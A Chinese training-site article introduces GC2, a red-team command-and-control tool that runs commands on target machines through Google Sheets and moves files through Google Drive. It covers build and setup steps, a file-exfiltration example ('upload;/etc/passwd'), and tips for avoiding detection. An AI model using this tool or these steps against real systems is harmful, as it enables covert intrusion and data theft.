千鋒教育-做有情懷、有良心、有品質(zhì)的職業(yè)教育機(jī)構(gòu)

手機(jī)站
千鋒教育

千鋒學(xué)習(xí)站 | 隨時(shí)隨地免費(fèi)學(xué)

千鋒教育

掃一掃進(jìn)入千鋒手機(jī)站

領(lǐng)取全套視頻
千鋒教育

關(guān)注千鋒學(xué)習(xí)站小程序
隨時(shí)隨地免費(fèi)學(xué)習(xí)課程

當(dāng)前位置:首頁  >  技術(shù)干貨  > 一款功能強(qiáng)大的遠(yuǎn)程命令控制工具

一款功能強(qiáng)大的遠(yuǎn)程命令控制工具

來源:千鋒教育
發(fā)布人:qyf
時(shí)間: 2022-07-26 15:21:00 1658820060

  關(guān)于GC2

  GC2是一款功能強(qiáng)大的命令控制應(yīng)用工具,該工具將允許廣大安全研究人員或滲透測試人員使用Google Sheet來在目標(biāo)設(shè)備上執(zhí)行遠(yuǎn)程控制命令,并使用Google Drive來提取目標(biāo)設(shè)備中的敏感數(shù)據(jù)。

  值得一提的是,該工具可以直接提供命令控制服務(wù),而無需進(jìn)行其他額外的安裝和配置,因此可以大大提高紅隊(duì)滲透活動(dòng)的效率。除此之外,這款工具只能跟Google的域名(*.google.com)交互,因此也增加了檢測GC2的難度。

  請注意:千萬不要將已編譯好的代碼上傳到VirusTotal上!

  功能介紹

  使用Google Sheet作為終端窗口來實(shí)現(xiàn)命令控制與命令執(zhí)行。

  使用Google Drive向目標(biāo)主機(jī)傳輸和下載文件。

  使用Google Drive從目標(biāo)主機(jī)中提取數(shù)據(jù)。

  退出執(zhí)行。

  工具運(yùn)行流程

圖片1

  工具安裝&配置

  第一步:使用下列命令將該項(xiàng)目源碼克隆至本地,然后構(gòu)建項(xiàng)目代碼:

  git clone https://github.com/looCiprian/GC2-sheet

  cd GC2-sheet

  go build gc2-sheet.go

  第二步:創(chuàng)建一個(gè)新的Google “服務(wù)賬號”,此時(shí)我們需要點(diǎn)擊https://console.cloud.google.com/來創(chuàng)建該服務(wù)賬號所需的.json密鑰文件。

  第三步:啟用Google Sheet API和Google Drive API。

  第四步:配置Google Sheet和Google Drive。創(chuàng)建一個(gè)新的Google Sheet,并添加服務(wù)賬號至spreadsheet的Editor組:

圖片2

  創(chuàng)建一個(gè)新的Google Drive文件夾,并將服務(wù)賬號添加進(jìn)這個(gè)文件夾的Editor組中:

圖片3

  第五步:使用下列命令啟動(dòng)GC2:

  gc2-sheet --key--sheet--drive

  注意事項(xiàng):你可以將參數(shù)以硬編碼的形式寫入進(jìn)代碼中,并只將可執(zhí)行程序上傳至目標(biāo)設(shè)備上。

  工具使用

  命令執(zhí)行

  GC2每五秒會(huì)向spreadsheet發(fā)送一次請求,并檢查是否存在未執(zhí)行的新命令。命令必須插入值請求中的“A”字段記錄中,而命令輸出結(jié)果將存儲(chǔ)在“B”字段中。

  數(shù)據(jù)提取

  我們可以使用指定的命令來在目標(biāo)設(shè)備上執(zhí)行文件上傳或下載任務(wù):

  From Target to Google Drive

  upload;

  Example:

  upload;/etc/passwd

  下載文件

  我們可以使用指定的命令來在目標(biāo)設(shè)備上執(zhí)行文件上傳或下載任務(wù):

  From Google Drive to Target

  download;;

  Example:

  download;;/home/user/downloaded.txt

  退出執(zhí)行

  通過發(fā)送“exit”命令,GC2將會(huì)從目標(biāo)設(shè)備上遠(yuǎn)程刪除自身代碼,并終止自身進(jìn)程的運(yùn)行。注意,如果開啟進(jìn)程時(shí)使用了符號鏈接,那么命令執(zhí)行結(jié)果可能會(huì)是符號鏈接或路徑所指向的目標(biāo),從而導(dǎo)致刪除錯(cuò)誤的目標(biāo)。

  項(xiàng)目地址

  https://github.com/looCiprian/GC2-sheet

  更多關(guān)于“網(wǎng)絡(luò)安全培訓(xùn)”的問題,歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學(xué),課程大綱緊跟企業(yè)需求,更科學(xué)更嚴(yán)謹(jǐn),每年培養(yǎng)泛IT人才近2萬人。不論你是零基礎(chǔ)還是想提升,都可以找到適合的班型,千鋒教育隨時(shí)歡迎你來試聽。

tags:
聲明:本站稿件版權(quán)均屬千鋒教育所有,未經(jīng)許可不得擅自轉(zhuǎn)載。
10年以上業(yè)內(nèi)強(qiáng)師集結(jié),手把手帶你蛻變精英
請您保持通訊暢通,專屬學(xué)習(xí)老師24小時(shí)內(nèi)將與您1V1溝通
免費(fèi)領(lǐng)取
今日已有369人領(lǐng)取成功
劉同學(xué) 138****2860 剛剛成功領(lǐng)取
王同學(xué) 131****2015 剛剛成功領(lǐng)取
張同學(xué) 133****4652 剛剛成功領(lǐng)取
李同學(xué) 135****8607 剛剛成功領(lǐng)取
楊同學(xué) 132****5667 剛剛成功領(lǐng)取
岳同學(xué) 134****6652 剛剛成功領(lǐng)取
梁同學(xué) 157****2950 剛剛成功領(lǐng)取
劉同學(xué) 189****1015 剛剛成功領(lǐng)取
張同學(xué) 155****4678 剛剛成功領(lǐng)取
鄒同學(xué) 139****2907 剛剛成功領(lǐng)取
董同學(xué) 138****2867 剛剛成功領(lǐng)取
周同學(xué) 136****3602 剛剛成功領(lǐng)取
相關(guān)推薦HOT
云快照與自動(dòng)備份有什么區(qū)別?

1、定義和目標(biāo)不同云快照的主要目標(biāo)是提供一種快速恢復(fù)數(shù)據(jù)的方法,它只記錄在快照時(shí)間點(diǎn)后的數(shù)據(jù)變化,而不是所有的數(shù)據(jù)。自動(dòng)備份的主要目標(biāo)...詳情>>

2023-10-14 12:48:59
服務(wù)器為什么要用Linux?

服務(wù)器為什么要用Linux作為服務(wù)器操作系統(tǒng)的優(yōu)選,Linux在眾多選擇中脫穎而出。Linux作為服務(wù)器操作系統(tǒng)的優(yōu)選,有其獨(dú)特的優(yōu)勢和特點(diǎn)。包括其...詳情>>

2023-10-14 12:34:11
ORM解決的主要問題是什么?

ORM(對象關(guān)系映射)解決的主要問題是將關(guān)系數(shù)據(jù)庫與面向?qū)ο缶幊讨g的映射困境。在傳統(tǒng)的關(guān)系數(shù)據(jù)庫中,數(shù)據(jù)以表格的形式存儲(chǔ),而在面向?qū)ο?..詳情>>

2023-10-14 12:26:19
Go為什么不支持三元運(yùn)算符?

Go為什么不支持三元運(yùn)算符Go語言是一種以簡潔和有效性為目標(biāo)的編程語言,因此在設(shè)計(jì)過程中,Go的設(shè)計(jì)者刻意排除了一些他們認(rèn)為可能導(dǎo)致復(fù)雜性或...詳情>>

2023-10-14 12:12:36
IT通常說的平臺(tái)是什么意思?

在信息技術(shù)(IT)領(lǐng)域,”平臺(tái)”這個(gè)詞有著廣泛的含義,它常常指代支持軟件應(yīng)用開發(fā)和運(yùn)行的基礎(chǔ)框架和環(huán)境。以下是對”平臺(tái)”這個(gè)概念的更深入...詳情>>

2023-10-14 11:55:36